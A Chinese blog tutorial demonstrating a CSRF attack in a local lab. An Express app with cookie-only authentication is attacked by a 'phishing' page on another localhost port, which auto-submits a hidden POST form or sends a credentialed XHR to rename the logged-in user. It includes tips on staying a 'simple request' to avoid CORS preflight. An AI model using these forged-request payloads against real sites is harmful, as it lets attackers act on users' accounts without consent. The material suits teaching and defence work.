之前写过一篇 CSRF
攻击文章,介绍了定义、触发方式、防御方式,但唯独没有给出一个实现方式,今天就借这篇文章重新写出一个实现方式
您可以在线查看完整的示例源代码_
定义
先介绍一下 CSRF
攻击的定义
- 跨站点请求伪造(
Cross-Site Request Forgeries
),在用户不知情的情况下,冒充用户发起请求, 完成一些违背用户意愿的事情,比如修改用户信息,删评论等(如果找到XSS
漏洞,可以用一些JS
去借用用户的身份去发出请求)或者是伪造请求完成服务器的一些CURD
操作 CSRF
可以说是钓鱼网站的应用,常见于用户的cookie
被利用
实现
首先在本地启动两个静态资源服务
hack: localhost:3001
钓鱼网站client: localhost:3000
客户端
客户端的需要实现功能登录(发送 Cookie
到客户端),获取用户名称和修改用户名称(修改用户名称的接口存在 CSRF
攻击存在缺陷)
CSRF
攻击效果如下(效果为用户名称从杰尼龟被修改为憨批龟)
客户端前台实现
一个简单的客户端登录实现,发送账号密码,服务端鉴权,然后跳转到用户界面(user.html
)
<!-- localhost:3000/ -->
<!-- localhost:3000/index.html -->
<body>
<form>
username: <input type="text" name="username" /><br />
password: <input type="password" name="password" /><br />
<button type="button" onclick="login()">登录</button>
</form>
</body>
<script>
const login = () => {
const username = document.getElementsByName("username")[0].value;
const password = document.getElementsByName("password")[0].value;
const xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost:3000/user/login");
xhr.setRequestHeader("Content-type", "application/json");
xhr.onreadystatechange = () => {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
window.location.href = "/user.html";
}
}
};
xhr.send(JSON.stringify({ username, password }));
};
</script>
用户界面如下,拥有查看和修改用户名称的功能
<!-- localhost:3000/user.html -->
<body>
昵称:<span class="name"></span>
<input class="name-input" type="text" style="display: none" />
<br />
<button class="button" onclick="handleModifyName()">修改昵称</button>
<button
class="confirm-button"
onclick="confirmModifyName()"
style="display: none"
>
确认修改
</button>
</body>
<script>
const name = document.querySelector(".name");
const nameInput = document.querySelector(".name-input");
const button = document.querySelector(".button");
const confirmButton = document.querySelector(".confirm-button");
const getName = () => {
const xhr = new XMLHttpRequest();
xhr.open("GET", "http://localhost:3000/user/name");
xhr.onreadystatechange = () => {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
name.innerText = xhr.response;
}
}
};
xhr.send();
};
const handleModifyName = () => {
if (button.innerText === "取消修改") {
name.style.display = "initial";
nameInput.style.display = "none";
confirmButton.style.display = "none";
button.innerText = "修改昵称";
getName();
} else {
name.style.display = "none";
nameInput.style.display = "initial";
confirmButton.style.display = "initial";
nameInput.value = name.innerText;
button.innerText = "取消修改";
}
};
const confirmModifyName = () => {
const xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost:3000/user/name");
xhr.setRequestHeader("Content-type", "application/json");
xhr.onreadystatechange = () => {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
handleModifyName();
}
}
};
xhr.send(JSON.stringify({ name: nameInput.value }));
};
// 初次加载
getName();
</script>
客户端后台实现
这里的后台使用的是 express
,不了解也没关系,可以通过示例运行尝试,而且代码都很简单
router.post("/login", function (req, res, next) {
const { username, password } = req.body;
res.cookie("userId", String(username), {
expires: new Date(Date.now() + 1000 * 60 * 60),
httpOnly: true,
signed: true,
});
res.send("success");
});
router.get("/name", function (req, res, next) {
const [name, setName] = useName();
res.send(name);
});
router.post("/name", function (req, res, next) {
const [name, setName] = useName();
const { name: updateName } = req.body;
res.send(setName(updateName));
});
上面一共有三个接口,分别如下(统一配置了前缀 /user
)
POST: /user/login
负责鉴权下发Cookie
GET: /user/name
返回用户名称,即杰尼龟POST: /user/name
修改用户名称
然后就是鉴权部分,这也就是存在 CSRF
攻击缺陷的逻辑部分
app.use((req, res, next) => {
const { userId } = req.signedCookies;
if (req.path !== "/user/login" && req.path !== "/init" && !userId) {
res.status(403);
res.send("error");
} else {
next();
}
});
上面这段代码的意思是,非 /user/login
和 /init
路径并且不存在名为 userId
的 Cookie
的请求将会被返回 403
,否则按正常逻辑继续运行
其实这也就是意味着如果我在请求 /user/name
的过程中携带有 Cookie
,那么我的这个请求将是成功的,即能够完成 CSRF
攻击
有了理论基础,就可以建立攻击实现了
钓鱼网站实现
上面已经分析完了攻击原理,那么网站的实现就是保证我能够发出请求就行了,由于上面的修改用户名称是一个 POST
请求,所以下面将使用 form
表单实现
<!-- localhost:3001 -->
<body>
<form
action="http://localhost:3000/user/name"
method="POST"
enctype="application/json"
>
<input type="hidden" name="name" value="憨批龟" />
</form>
</body>
<script>
// 进入页面后提交
document.forms[0].submit();
</script>
表单提交
使用 form
表单提交,它的原理是借助了 form
的 action
属性会跳转到目标 URL
并附带表单信息
这也就是为什么前面的例子中在访问钓鱼网站的时候最终会跳转至客户端(http://localhost:3000
)
为什么 <form>
的 action
会这么设计是因为以前在没有前后端分离的时候,是通过提交表单之后由接口返回值来展示提交结果,即后端决定前端应该跳转至哪个路由
form 的 enctype
与本篇文章无关,但是我想说,不感兴趣的可以直接跳到下一个段落
前面可以看到我将 <form>
的 enctype
属性设置为了 application/json
,其实这并不是一个稳定的实现(即部分浏览器或者浏览器的版本没有实现这个特性)
稳定的实现只有以下几个
application/x-www-form-urlencoded
multipart/form-data
text/plain
但是 Chrome
的最新版本似乎已经实现了此功能,而且对于 express
来说 application/x-www-form-urlencoded
和 application/json
的单层对象的解析是一致的
router.post("/name", function (req, res, next) {
const [name, setName] = useName();
// application/x-www-form-urlencoded 和 application/json 都可以拿到 name
const { name: updateName } = req.body;
res.send(setName(updateName));
});
所以在分析可能有 CSRF
攻击缺陷的接口是不要因为使用的 JSON
格式而存在侥幸心理,以为有跨域限制而 form
不能使用 application/json
而忽略该接口,有可能你的后台服务的解析是一致的
使用 Ajax
上面这个钓鱼网站有一个非常重要的点需要注意,CSRF
攻击的实现原理是借用第三方 Cookie
,这个第三方也就是我们的客户端,但是钓鱼网站和我们的客户端是不同的端喔,钓鱼网站上发向客户端请求会是一个跨域请求
http://localhost:3001
-> http://localhost:3000/user/name
比如你在钓鱼网站这里使用 ajax
的方式去请求我们的客户端的修改用户昵称接口将会导致一个跨域报错
const xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost:3000/user/name");
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.withCredentials = true;
xhr.send("name=憨批龟");
Access to XMLHttpRequest at ' http://localhost:3000/user/name' from origin ' http://localhost:3001' has been blocked by CORS policy: Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is present on the requested resource.
但这并不意味着我们的请求没有成功应用到服务器,要知道跨域其实是浏览器的设置,请求其实已经发送到了服务器,只是浏览器拦截了响应
效果如下
XMLHttpRequest.withCredentials
使用 Ajax
发起 CSRF
攻击时要设置 withCredentials
为 true
,不然可能不会带上 Cookie
而导致攻击失败
// ...
xhr.withCredentials = true;
// ...
避免预检请求(option)
使用 Ajax
发起 CSRF
攻击要注意使用简单请求,不然你向客户端发送请求时会发送两次请求,第一次预检请求,第二次才会是你的 CSRF
攻击请求,而且 option
请求是不会携带 Cookie
的
一旦 option
请求失败了就不会再请求你的 CSRF
攻击请求,而使 option
请求成功的方法只有让后台帮助你设置当前网页所在的域名是否在服务器的许可名单之中,这很明显是不可能的,因为你是攻击方,所以这种情况下可以采用表单提交的方式
复杂请求定义:
请求以 GET, HEAD 或者 POST 以外的方法发起请求。或者,使用 POST,但请求数据为 application/x-www-form-urlencoded, multipart/form-data 或者 text/plain 以外的数据类型。比如说,用 POST 发送数据类型为 application/xml 或者 text/xml 的 XML 数据的请求。 使用自定义请求头(比如添加诸如 X-PINGOTHER)
一旦归属于复杂请求,就会在发送复杂请求之前发送一次预检请求(option
请求)
简单请求定义:
只使用 GET, HEAD 或者 POST 请求方法。如果使用 POST 向服务器端传送数据,则数据类型(Content-Type)只能是 application/x-www-form-urlencoded, multipart/form-data 或 text/plain中的一种。 不能使用自定义请求头(类似于 X-Modified 这种)。
这也就是为什么不要将可以修改服务器数据的接口使用 GET
方式编写,因为用 GET
请求触发 CSRF
的条件实在是太简单了,只要求能够发送请求就行
攻击实操
看完上面的段落后实现攻击的操作应该很简单了
- 第一步,登录客户端,获取鉴权,即
Cookie
- 然后访问钓鱼网站
强烈建议在访问钓鱼网站的时候给 network
点上 Preserve log
,这样就可以看到钓鱼网站跳转到客户端的全部请求记录
攻击是否成功的关键,钓鱼网站发送向第三方网站的请求有没有成功携带上 Cookie
有攻击就有防御,《手把手教你防御 CSRF 攻击》正在编写中!!